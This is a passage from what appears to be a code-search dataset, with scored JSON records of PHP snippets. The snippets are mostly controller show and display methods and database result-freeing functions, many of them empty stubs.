"14f061e926b1904b496ec52586cb2b35", "score": "0.63535744", "text": "public function display() {\n\t\t\ttry {\n\t\t\t\tif(!is_null($this->id)) {\n\t\t\t\t\t$this->returnView($this->model->display($this->id));\n\t\t\t\t} else {\n\t\t\t\t\t$this->error404();\n\t\t\t\t}\n\t\t\t} catch(Exception $e) {\n\t\t\t\t$this->session->add('error', $e->getMessage());\n\t\t\t\texit(header('Location: '.$_SERVER['HTTP_REFERER']));\n\t\t\t}\n\t\t\t$this->session->sUnset('error');\n\t\t}", "title": "" }, { "docid": "30460e9f10fc35f6066e56c0edf07f11", "score": "0.62772554", "text": "public function resource($resource)\n {\n // TODO: Implement resource() method.\n }", "title": "" }, { "docid": "742c2b4cd2f26a04a82af80f8ee84057", "score": "0.62133056", "text": "public function show()\n {\n $dispatcher = Dispatcher::getSharedDispatcher();\n $dataProvider = $this->getDataProvider();\n $controller = $dataProvider->getControllerClassForPath($this->getPath());\n $action = $this->getIdentifier() . 'Action';\n $controller = GeneralUtility::makeInstance($controller);\n\n if (is_object($controller)) {\n $controller->setRequest($dispatcher->getRequest());\n }\n if (is_numeric($this->getIdentifier())\n && is_object($controller) && method_exists($controller, 'showAction')\n ) {\n $result = $controller->processAction('showAction', $this->getIdentifier());\n } elseif (is_object($controller) && method_exists($controller, $action)) {\n $result = $controller->processAction($action);\n } else {\n $result = false;\n }\n\n return $result ? $this->createResponse($result, 200) : $result;\n }", "title": "" }, { "docid": "f61677388a9b71138fce919e36a82ca0", "score": "0.61413664", "text": "public function show($id)\n {\n #$resource = resource::find($id);\n $resource = Resource::where('slug', '=', $id)->orWhere('id', '=', $id)->firstOrFail();\n\n $related_resources = Resource::where('id', \"!=\", $resource->id)\n ->orWhere('name', 'LIKE', '%' . $resource->name . '%')\n ->orWhere('description', 'LIKE', '%' . $resource->description . '%')->take(8)->get();\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $related_resources,\n ];\n\n return view('resources.show-resource')->with($data);\n }", "title": "" }, { "docid": "404169262f3328542c2f476a8bae067c", "score": "0.6073625", "text": "public function fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n $this->fixURI($resource_name);\n\n return parent::fetch($resource_name, $cache_id, $compile_id, $display);\n }", "title": "" }, { "docid": "90a025ba515ea1ffda1792e51f379566", "score": "0.6065236", "text": "public function show($id)\n {\n $resource = Resource::findOrFail($id);\n\n return view('resources.show')->with(compact('resource'));\n }", "title": "" }, { "docid": "d4b48f077d182386266a016e1934227a", "score": "0.60600674", "text": "public function render(&$objResource);", "title": "" }, { "docid": "120fe33c517800f7a36fd36a7d8ff2a0", "score": "0.6034755", "text": "public function showAction($id);", "title": "" }, { "docid": "691f9d494ebbd3698416c27402ce6045", "score": "0.6024695", "text": "public function show($id)\n {\n if (is_numeric($id)) {\n return new ActionResource (Action::find($id));\n }else{\n abort(404 , 'resource not found.');\n \n }\n \n }", "title": "" }, { "docid": "c6f154f853b604d366507e7f3651128c", "score": "0.59881043", "text": "public function index()\n\t{\n\t\t$this->load->view('resource');\n\t}", "title": "" }, { "docid": "78f674e0991329ee80d8bfe522602ce3", "score": "0.59581137", "text": "public function actionShow()\n {\n $this->render('show', array());\n }", "title": "" }, { "docid": "469e3d6c9afd54041becbee857df8ef8", "score": "0.5954321", "text": "public function edit(Resource $resource)\n {\n //\n }", "title": "" }, { "docid": "3411150986f3334a3ae059e3824a705e", "score": "0.59518707", "text": "public function showAction() {\n\n\t\t// ...\n\t\tif(isset($this->externalWebsiteUri)) {\n\t\t\t$this->view->assign('external_website_uri', $this->externalWebsiteUri);\n\t\t}\n\t}", "title": "" }, { "docid": "51df0e59505572a08a6c3c4ea6558bb4", "score": "0.5942475", "text": "public function showAction()\n\t{\n\t\t$this->loadLayout()->renderLayout();\n\t}", "title": "" }, { "docid": "7a089792dd9f8cefa56e79369d710cb2", "score": "0.59358656", "text": "public function show(Request $request, string $resource, string $id) {\n if(!Lyra::checkPermission('read', $resource)) abort(403);\n\n if(config('lyra.translator.enabled') && $request->has('lang')) App::setLocale($request->get('lang'));\n\n $resourcesNamespace = Lyra::getResources()[$resource];\n $modelClass = $resourcesNamespace::$model;\n\n if (method_exists($modelClass, 'trashed')) {\n $model = $modelClass::withTrashed()->find($id);\n } else {\n $model = $modelClass::find($id);\n }\n\n if (!Arr::first($model)) return abort(404, \"No query results for model [$modelClass]\");\n $resourceCollection = new $resourcesNamespace(collect([$model]));\n return $resourceCollection->getCollection($request, 'show');\n }", "title": "" }, { "docid": "a5fe9713f7fa35feab808a95acb937a5", "score": "0.59236246", "text": "public function show(Artist $artist)\n {\n\n\n return new ShowArtistResource($artist);\n\n\n }", "title": "" }, { "docid": "4dd721a222d59966f8999c2bf46a1634", "score": "0.5913372", "text": "public function url($resource = self::URL_RESOURCE, array $args = array()) \n {\n return parent::url($resource, $args);\n }", "title": "" }, { "docid": "eaff1ff5ad75e879908bb065beeea534", "score": "0.5910201", "text": "public function edit(Resource $resource)\n {\n return view('actions.resource.edit', compact('resource'));\n }", "title": "" }, { "docid": "f2800dcfd7234cc6b914253341f2a919", "score": "0.5905734", "text": "public function display()\n {\n $this->getAdapter()->display();\n }", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "c6b5201b64b56afc1aba96e7f01df942", "score": "0.5895745", "text": "public function displayAction()\r\n\t\t{\r\n\r\n\t\t\t$q = Doctrine_Query::create()\r\n\t\t\t->from('Webteam_Model_User i')\r\n\t\t\t->where('i.UserName = ?', $this->identity['UserName']);\r\n\t\t\t$result = $q->fetchArray();\r\n\t\t\tif (count($result) == 1) {\r\n\t\t\t\t$this->view->item = $result[0];\r\n\t\t\t} else {\r\n\t\t\t\tthrow new Zend_Controller_Action_Exception('Page not found', 404);\r\n\t\t\t}\r\n\r\n\t\t}", "title": "" }, { "docid": "e1911719b5dbc5045d62ac4e5e20cd33", "score": "0.587909", "text": "protected function showAction() {\n\t\t$em = $this->getEntityManager();\n\t\t$book = $em->find('Entities\\\\Book', $_GET['id']);\n\t\t$this->addContext('book', $book);\n\t}", "title": "" }, { "docid": "9593ec2b031b164d16249f1ae81182ef", "score": "0.58776784", "text": "public function show(Retex $retex)\n {\n //\n }", "title": "" }, { "docid": "093db99e28544f24edb386d2bf2129f0", "score": "0.58682454", "text": "public function display() {\n\t\t$this->displayContent();\n\t}", "title": "" }, { "docid": "95d012dca84499e39b434e04c9f86031", "score": "0.58522356", "text": "public function showAction()\n\t{\n\t\tif (!isset($this->sGlobal->uId) && !Zend_Auth::getInstance ()->hasIdentity ()) {\n\t\t\t$this->_helper->redirector->gotoRoute ( array('action' => 'index', 'controller' => 'auth'), 'default' );\n\t\t}\n\t\t \n\t\t$dbRoutes = new Model_Ride_DbRoutes();\n\t\t\n\t\t$routes = $dbRoutes->getRoutesByUserId($this->sGlobal->uId);\n\t\t\n\t\t$this->view->routes = $routes;\n\t\t\n\t\t$this->view->deleteRideLink = $this->_helper->url->url(array('controller'=>'Ride', 'action'=>'deleteride'), 'default', true);\n\t\t\n\t}", "title": "" }, { "docid": "a6ea4c61d98549d6b82aa6c50e5153c9", "score": "0.58442765", "text": "public function show($id)\n {\n // return \"Show \".$id;\n abort(404);\n }", "title": "" }, { "docid": "57e04be30c8d73c6f1b1f97f0813c951", "score": "0.5839814", "text": "public function show($parm);", "title": "" }, { "docid": "7fa6d8ebb4c7b91b6b1219f34c1ccc2e", "score": "0.5827577", "text": "public function show()\n {\n return $this->resource->transform();\n }", "title": "" }, { "docid": "1f025b0828827877859e8e2f72f5add5", "score": "0.5824839", "text": "public function resourceAction();", "title": "" }, { "docid": "bc8b175839d90931dc37b6d17073534e", "score": "0.5824825", "text": "public function displayAction()\n {\n // set filters and validators for GET input\n $filters = array(\n 'id' => array('HtmlEntities', 'StripTags', 'StringTrim')\n );\n $validators = array(\n 'id' => array('NotEmpty', 'Int')\n );\n $input = new Zend_Filter_Input($filters, $validators);\n $input->setData($this->getRequest()->getParams());\n\n // test if input is valid\n // retrieve requested record\n // attach to view\n if ($input->isValid()) {\n $q = Doctrine_Query::create()\n ->from('Zf1_Model_Item i')\n ->leftJoin('i.Zf1_Model_Country c')\n ->leftJoin('i.Zf1_Model_Grade g')\n ->leftJoin('i.Zf1_Model_Type t')\n ->where('i.RecordID = ?', $input->id)\n ->addWhere('i.DisplayStatus = 1')\n ->addWhere('i.DisplayUntil >= CURDATE()');\n $sql = $q->getSqlQuery();\n $result = $q->fetchArray();\n if (count($result) == 1) {\n $this->view->item = $result[0];\n $this->view->images = array();\n $config = $this->getInvokeArg('bootstrap')->getOption('uploads');\n foreach (glob(\"{$config['uploadPath']}/{$this->view->item['RecordID']}_*\") as $file) {\n $this->view->images[] = basename($file);\n }\n $configs = $this->getInvokeArg('bootstrap')->getOption('configs');\n $localConfig = new Zend_Config_Ini($configs['localConfigPath']);\n $this->view->seller = $localConfig->user->displaySellerInfo;\n $registry = Zend_Registry::getInstance();\n $this->view->locale = $registry->get('Zend_Locale');\n $this->view->recordDate = new Zend_Date($result[0]['RecordDate']);\n } else {\n throw new Zend_Controller_Action_Exception('Page not found', 404);\n }\n } else {\n throw new Zend_Controller_Action_Exception('Invalid input');\n }\n }", "title": "" }, { "docid": "bcd5d6f048ed9967b2cc42a2b9c646e4", "score": "0.58217233", "text": "public function show($id)\n\t{\n\t\t//...\n\t}", "title": "" }, { "docid": "062f661f5aa2b0fb00beffc662c406c7", "score": "0.58164716", "text": "public function show($id)\n {\n $catalog_detail = Catalog::where(\"id\", \"=\", $id,)->first();\n\n if (!is_null($catalog_detail)) {\n return $this->ok(\"\", new CatalogResource($catalog_detail));\n }\n\n return $this->ok(__('global.record_not_found'));\n }", "title": "" }, { "docid": "e5b312e565cadd216286627cb156afa1", "score": "0.5814938", "text": "public function show() {\n $this->display = true;\n }", "title": "" }, { "docid": "3c83da877de5a8b9a28620cc567e154f", "score": "0.5812585", "text": "public function show($model)\n {\n $model = $this->getModel($model);\n\n $this->authorize('view', $model);\n\n $model = $this->showModel($model);\n\n $resource = resource($model);\n\n return ok($resource);\n }", "title": "" }, { "docid": "8fa3c5aa92241bd98bf245a72087750b", "score": "0.58067733", "text": "public function show($id)\n {\n return Resource::find($id);\n }", "title": "" }, { "docid": "305f64db85d64f68019d2fadcd0a85d2", "score": "0.58012545", "text": "public function show()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "7d4b687c2015cbab6585700fbd9fed75", "score": "0.5790671", "text": "protected function showResourceView($id)\n\t{\n\n\t\t$element = $this->getElements($id);\n\t\treturn Response::view('adm/Regions/element', array('data' => $element));\n\n\t}", "title": "" }, { "docid": "6d0ead3170a91374660511ebe07a7e52", "score": "0.57788694", "text": "public function display($file){\n\t\techo $this->fetch($file);\n\t}", "title": "" }, { "docid": "1ebe558af6c12f3e75c7741d736cd837", "score": "0.5773779", "text": "public function show($id)\n\t{\n\t\t$this->layout->nest('content', $this->view, ['car' => $this->resource]);\n\t}", "title": "" }, { "docid": "ff99e6923e061969deb024f038cd9fd9", "score": "0.5771933", "text": "public abstract function show();", "title": "" }, { "docid": "f37f81a8bf0d836ce01d6e66ee929689", "score": "0.57692647", "text": "public function show()\n {\n $ResourceRepo = new ResouceRepo();\n $res = $ResourceRepo->show();\n $count = $ResourceRepo->getcount();\n\n return view('ViewResource',['resources' => $res,'totalcount' =>$count]);\n }", "title": "" }, { "docid": "23d3f586042fc7ef9f98c33613fd010d", "score": "0.5757193", "text": "public function url($resource = 'instances', array $args = array())\n {\n return parent::url($resource, $args);\n }", "title": "" }, { "docid": "64ca047c763cbf564dd5de6f46e00c8a", "score": "0.5757105", "text": "public function display(){}", "title": "" }, { "docid": "be16c52b6734a0cf50cdaa52b26c8ee0", "score": "0.57546145", "text": "public function show(Resroom $resroom)\n {\n //\n }", "title": "" }, { "docid": "6552a6831d000ffc0b68b09357fd4a3c", "score": "0.5750852", "text": "public function show($id)\n\t{\n\t\techo $id;\n\t}", "title": "" }, { "docid": "58d82a32f57975c44fc660ccacd3a42f", "score": "0.5749565", "text": "public function resource( $resc= '')\n {\n return view('home.resource',['resource'=>$resc]);\n }", "title": "" }, { "docid": "c28bc00a20642b8f45cbb36b8f142bb6", "score": "0.5747548", "text": "public function show( $id );", "title": "" }, { "docid": "f3bc4ff0e0f2cc54bf914d77670e405e", "score": "0.5737612", "text": "public function edit(Resource $resource)\n {\n return view('resource.edit',['resource'=>$resource]);\n }", "title": "" }, { "docid": "a5c4f542acf75c65ff05c5578f254411", "score": "0.57365245", "text": "public function show($id)\t{\n\t\t//\n\t}", "title": "" }, { "docid": "c0c57945d6d1643edc1ffb95ae99eef9", "score": "0.5735039", "text": "public function show($id)\n { \n if( $this->checkShowModelRequest($id) ) return abort(404, \"Resource not found\");\n\n if(request()->expectsJson() || $this->onlyJsonResponse) \n return response()->json($this->showModelQueryResponse($id));\n\n return $this->renderView(\n $this->moduleName != null ? Str::plural($this->moduleName) . '.show' : 'show' ,\n $this->showResponse($id)\n );\n }", "title": "" }, { "docid": "1bb2758d3ba7fe86461bda00a9606e3e", "score": "0.5734708", "text": "public function show( $id )\n\t{\n\t\t$model = Input::get( 'model' );\n\n\t\tif ( !class_exists( $model ) ) {\n\t\t\treturn $this->renderResponse( false, \"That model does not exist\" );\n\t\t}\n\n\t\t$item = $model::find( $id );\n\n\t\tif ( !is_null( $item ) ) {\n\t\t\tif ( property_exists( $item, 'eager_relations' ) ) {\n\t\t\t\t$item->load( $item->eager_relations );\n\t\t\t}\n\t\t\treturn $this->renderResponse( true, $item->toArray( true ) );\n\t\t}\n\n\t\treturn $this->renderResponse( false, \"Resource not found\" );\n\t}", "title": "" }, { "docid": "ab8f27385173dda96b8eaafa7aa90f82", "score": "0.5734516", "text": "public function show(Hirtory $hirtory)\n {\n //\n }", "title": "" }, { "docid": "cb0625cb8bda35818012bd67fb011d73", "score": "0.5728958", "text": "protected function showAction()\n {\n $this->showAction\n ->setAccess($this, Access::CAN_SHOW)\n ->execute($this, NULL, UserActionEvent::class, NULL, __METHOD__)\n ->render()\n ->with(\n [\n 'user_log' => $this->userMeta->unserializeData(\n ['user_id' => $this->thisRouteID()],\n [\n 'login', /* array index 0 */\n 'logout', /* array index 1 */\n 'brute_force', /* index 2 */\n 'user_browser' /* index 3 */\n ]\n )\n ]\n )\n ->singular()\n ->end();\n }", "title": "" }, { "docid": "09abe18b0f313de0a8ae600fe6626d31", "score": "0.57271934", "text": "public function display() {\r\n\t\techo '<a href=\"' . $this->_link .\r\n\t\t\t\t'\" title=\"' . $this->_text .\r\n\t\t\t\t'\">' . $this->_text . '</a><br/>';\r\n\t}", "title": "" }, { "docid": "20397e06b8673db8692c5f84120c3011", "score": "0.5724891", "text": "public function show()\n\t{\n\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "d02c7bae2c97989fe256da11612461c7", "score": "0.5721667", "text": "function display()\n\t{\n\t\t$document \t=& JFactory::getDocument();\n\t\t$viewType\t= $document->getType();\t\n \t\t$viewName\t= JRequest::getCmd( 'view', $this->getName() );\n \t\t$view\t\t=& $this->getView( $viewName , '' , $viewType );\n \t\tif($this->checkPhotoAccess())\n \t\t\techo $view->get( __FUNCTION__ );\n\t}", "title": "" }, { "docid": "3e94f05854b4dbc5a4d900f54aa8043a", "score": "0.5719658", "text": "function index( $request ){\r\n\t\t\r\n\t\t// Look for \"resource\" in request //\r\n\t\t$requestVars = Router :: getRequestVars();\r\n\t\t\r\n\t\t// Show a help page if local //\r\n\t\tif( App :: get()->local ){\r\n\t\t\tif( !isset( $requestVars->resource )){\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// Hard set the channel to simplify URLs to resource view //\r\n\t\tRouter :: resetChannel( 'resource' );\r\n\t\t\r\n\t}", "title": "" }, { "docid": "47171b843665ac85f7c5da2618a7ae0e", "score": "0.5718969", "text": "public function show($id) {}", "title": "" }, { "docid": "47171b843665ac85f7c5da2618a7ae0e", "score": "0.5718969", "text": "public function show($id) {}", "title": "" }, { "docid": "e2404ea37d0dd7d634ec1a88ba6e0b01", "score": "0.5708454", "text": "public function show() {\n\t\t$author = pick_arg(Author::class);\n\t\treturn $this->viewShow(compact('author'));\n\t}", "title": "" }, { "docid": "695e29ca27ebbcb0a342e19915e00ae9", "score": "0.57076776", "text": "protected function makeDisplayFromResource()\n\t{\n\t\t$query = Query::getQuery();\n\t\t$json = json_encode($this->activeResource);\n\t\tif(isset($query['callback']) && self::$jsonpEnable)\n\t\t{\n\t\t\t$this->mimeType = 'application/javascript';\n\t\t\t$callback = preg_replace('[^A-Za-z0-9]', '', $query['callback']);\n\t\t\treturn $callback . '(' . $json . ')';\n\t\t}else{\n\t\t\treturn $json;\n\t\t}\n\t}", "title": "" }, { "docid": "05ca915e5f597f0a1925a6b1a1e6afb0", "score": "0.57057405", "text": "public abstract function display();", "title": "" } ]
dfc04a1ff1434b7d36f7982b968a7d4d
Free resources associated with a query result set
[ { "docid": "6b83b8c9f07e4685951de8110577f61a", "score": "0.6419789", "text": "public function closeQuery( $qHanle )\r\n\t{\r\n\t\t@pg_free_result($qHanle);\r\n\t}", "title": "" } ]
[ { "docid": "5a6d967397bd2524b9837857fb13e9bd", "score": "0.8253809", "text": "function free() {\r\n odbc_free_result($this->Query_ID);\r\n $this->Query_ID = 0;\r\n }", "title": "" }, { "docid": "59874ca299424a02bdc242e524364ff6", "score": "0.81593764", "text": "function free() {\n\t\t$this->db->freeResult( $this );\n\t\tunset( $this->result );\n\t\tunset( $this->db );\n\t}", "title": "" }, { "docid": "933cf5415d5e38b0f6cbc8ab041d1262", "score": "0.815368", "text": "public abstract function free_result($rs);", "title": "" }, { "docid": "6c88d72bba2ccffd99254461a632085a", "score": "0.80952626", "text": "public function free_result()\n {\n $this->check_connection();\n\n if ($this->result) {\n @pg_free_result($this->result);\n\n $this->result = null;\n }\n\n $this->row = null;\n $this->field_names = null;\n $this->last_query = null;\n }", "title": "" }, { "docid": "72bc41bcdd3cf7b8b4b90d50208b5060", "score": "0.7982736", "text": "public function free_result() {\n if ( ! empty($this->statement) ) {\n $this->statement->closeCursor();\n $this->statement = NULL;\n }\n\t}", "title": "" }, { "docid": "1c5e6453e6756e81ec321e11be658acb", "score": "0.7925798", "text": "public function free()\n\t\t{\n\t\t\tmysqli_free_result($this->_result);\n\t\t\t$this->_result = NULL;\n\t\t}", "title": "" }, { "docid": "2bc077ada6221b8951f39e547fdc399d", "score": "0.7911806", "text": "public function free() {\n if( $this->data ) {\n @$this->getResult()->free();\n }\n\n parent::free();\n }", "title": "" }, { "docid": "8669a538fa2a78e0ee9a5be11202a5d6", "score": "0.784818", "text": "public function _freeResult()\r\n\t{\r\n\t\toci_free_statement($this->_sqlExec);\r\n\t}", "title": "" }, { "docid": "2a71670d480805826e08bbe6f0bc6e46", "score": "0.7712117", "text": "public function free()\n\t\t{\n\t\t\t$this->result->close();\n\t\t}", "title": "" }, { "docid": "3ef045a23aa160e71c44de75c8e3c286", "score": "0.77089965", "text": "public function freeResult( $query_id=null );", "title": "" }, { "docid": "67ba271d2cb013e0c1fe7837fd19ccc0", "score": "0.7688174", "text": "function free_page_result() {\n\t\tmysql_free_result($this->result);\n\t}", "title": "" }, { "docid": "23b136b84082f2b1dbd1d608c5e951d2", "score": "0.7678591", "text": "function freeRs($rs)\n {\n return mysql_free_result($rs);\n }", "title": "" }, { "docid": "6ee4faad70705d8e840e3922033ad225", "score": "0.7624781", "text": "function free_result()\n {\n $this->close();\n }", "title": "" }, { "docid": "9cdd9a95212036748303b15a35df732f", "score": "0.7604935", "text": "function freeResult() { \r\n return mssql_free_result($this->result); \r\n }", "title": "" }, { "docid": "1879be32e37a204d0789dce9b441e80d", "score": "0.7580037", "text": "abstract public function freeResult($cursor = null);", "title": "" }, { "docid": "812c1b2c395a178b9dad1b523f68db82", "score": "0.7562547", "text": "function freeResult() {\n if($this->mysqlResult != null)\n return $this->mysqlResult->free();\n }", "title": "" }, { "docid": "8b71923d00d7d0e64b16ecfe6d947c58", "score": "0.7475665", "text": "public function freeResult() {\r\n\t\tif ((false === $this->hasError()) and ($this->result != -1)) {\r\n\t\t\tmysql_free_result($this->result);\r\n\t\t\t$this->result = -1;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "880808aebbb9172d5fd9bdbedc52f6ee", "score": "0.74656945", "text": "function releaseSQLResource($result){\n mysqli_free_result($result);\n }", "title": "" }, { "docid": "6fa8977136497c21727dd2383aa8c909", "score": "0.7401454", "text": "public function freeStoredResults()\n\t{\n\t\tif (! $this->isBoundResultset()) {\n\t\t\t$this->setError(10004, 'resultset not bounded: nothing to free');\n\t\t\treturn false;\n\t\t}\n\n\t\tif (! $this->isBufferedResultset()) {\n\t\t\t$this->setError(10006, 'can only free buffered results');\n\t\t\treturn false;\n\t\t}\n\t\n\t\t$this->getDriver()\n\t\t\t ->free_result();\n\n\t\t$this->isExecuted\t\t\t= false;\n\t\t$this->isBufferedResultset\t= false;\n\t\t$this->isBoundResultset\t\t= false;\n\t\t$this->isResultset\t\t\t= false;\t\n\t}", "title": "" }, { "docid": "5c8678860feae9b7eae236b0bff374f2", "score": "0.73716915", "text": "public function sql_free_result($res);", "title": "" }, { "docid": "309cac0875bad90332a6b2c9be207cfb", "score": "0.7366283", "text": "function clearResource() {\n // Free result\n mysql_free_result($this->m_result);\n // Free link\n mysql_close($this->m_connect);\n }", "title": "" }, { "docid": "98a293607a01adfda0f904028efff1bb", "score": "0.73596936", "text": "public function freeResult($result);", "title": "" }, { "docid": "cf359511f99305bade984fd5fc5579ee", "score": "0.7324434", "text": "function free($force = false) {\r\n if ($this->rs && $force) {\r\n @mysql_free_result($this->rs);\r\n }\r\n $this->rs = 0;\r\n }", "title": "" }, { "docid": "9287e3e56cbb4a44f5b8d577de738fa5", "score": "0.72793055", "text": "public function free($result);", "title": "" }, { "docid": "bbaa52d11fc9401b5c4c58036dfddc36", "score": "0.72594845", "text": "function inmo_dbFreeResult(inmores)\n{\n\n\treturn mysql_free_result(inmores);\n\n}", "title": "" }, { "docid": "f658bdce0f21009391136c82c47750fd", "score": "0.7257457", "text": "function free($res){\n\tmysqli_free_result($res);\n}", "title": "" }, { "docid": "3b51bc39a2f7b59d9e43730b384303b0", "score": "0.72090876", "text": "function FreeResult()\r\n\t{\r\n\t\tif(is_object($this->result))\r\n\t\t $this->result->close();\r\n\t}", "title": "" }, { "docid": "99e5d5c131f5efd4dabeb3360d26369f", "score": "0.7146723", "text": "private function freeUnbuffered() { \n if (isset($this->last_result) && is_object($this->last_result) && $this->last_unbuffered) {\n $this->last_result->close();\n unset($this->last_result);\n }\n }", "title": "" }, { "docid": "c583f058907207deb80cd470000ce8f5", "score": "0.7139711", "text": "public function free($result) {\n\t\tmysqli_free_result($result);\n\t}", "title": "" }, { "docid": "c80c6e76c1382c80eb9914b769a0f766", "score": "0.71010053", "text": "function free_result($result)\n\t{\n\t\treturn @mysql_free_result($result);\n\t}", "title": "" }, { "docid": "32ca195a817e5627cf8d64046262a2e2", "score": "0.70514584", "text": "public function flushresult()\r\n {\r\n if($this->is_closed() == FALSE):\r\n $this->close();\r\n $this->_closed=FALSE;\r\n unset($this->selectfields);unset($this->from_where);unset($this->field_where);\r\n unset($this->field_where_in);unset($this->limit_value);unset($this->field_name);\r\n unset($this->offset_value);unset($this->order_type);\r\n endif;\r\n }", "title": "" }, { "docid": "c0ca9eec86af018fa565f24edcf5d619", "score": "0.70097417", "text": "public function __destruct() {\n $this->free_result();\n\t}", "title": "" }, { "docid": "6e6d5b3ec5148f2f83c213073f615de8", "score": "0.7007285", "text": "public function freeResult( $query_id=null )\n {\n if ( ! $query_id )\n {\n $query_id = $this->query_id;\n }\n\n @mysqli_free_result( $query_id );\n }", "title": "" }, { "docid": "8a678b64aa564283cdd82e555e6080bc", "score": "0.6981545", "text": "function Free($resource_id){\n\n\t\treturn @mysql_free_result($resource_id);\n\n\t}", "title": "" }, { "docid": "4bbc2b335ba20c1cb2dbd82e4088df27", "score": "0.69812083", "text": "function destroy(){\n\t\t\tif(is_resource($this->result)) mysql_free_result($this->result); \n\t\t\tmysql_close($this->database);\n\t\t}", "title": "" }, { "docid": "88bedcb82a93f23c62e1fbc73b2cc4dd", "score": "0.69743925", "text": "public function free($res)\n\t\t{\n\t\t\tif(!$this->free_res)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tif($this->mode == AFRAME_DB_MODE_MYSQL)\n\t\t\t{\n\t\t\t\tmysql_free_result($res);\n\t\t\t}\n\t\t\telse if($this->mode == AFRAME_DB_MODE_MYSQLI)\n\t\t\t{\n\t\t\t\tmysqli_free_result($res);\n\t\t\t}\n\t\t\telse if($this->mode == AFRAME_DB_MODE_MSSQL)\n\t\t\t{\n\t\t\t\tmssql_free_result($res);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "e9be2716520477edda10524c30694ec4", "score": "0.68718404", "text": "function free_result( $query = 0 )\n\t{\n\t\t$result = FALSE;\n\n\t\tif ( !$query )\n\t\t\t$query = $this->last_query;\n\n\t\tif ( $query && $this->connected )\n\t\t\t$result = @mysqli_free_result( $query );\n\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "d038abb9c484908ef685a33837cab611", "score": "0.68478227", "text": "public function __destruct() {\n\n\t\tif (!empty ($this->result)) {\n\t\t\t$this->free();\n\t\t}\n\n\t\tif($this->db_link!=null)\n\t\t\tmysql_close($this->db_link);\n\t}", "title": "" }, { "docid": "2db04e1d022f2aa959b81ca28ee714f7", "score": "0.67923915", "text": "function close(){\n\t\t@mysql_free_result($this->result);\n\t\tif ($this->links){\n\t\t\t@mysql_close($this->links);\n\t\t}\n\t}", "title": "" }, { "docid": "435e1fecd8d50fc67f77cdd5a8226f93", "score": "0.67826605", "text": "public function freeResult($result)\n\t{\n\t\tmysqli_free_result($result);\n\t}", "title": "" }, { "docid": "0e5064217fc4ae86f40187e12f3fa638", "score": "0.6770165", "text": "public function free()\n {\n $this->closeAll();\n $this->datasources = array();\n $this->conns = array();\n }", "title": "" }, { "docid": "4cac9fce0a2675e922e9c3261fd4fbbf", "score": "0.66436356", "text": "public function __destruct()\n\t{\n\t\t// Cached results do not use driver 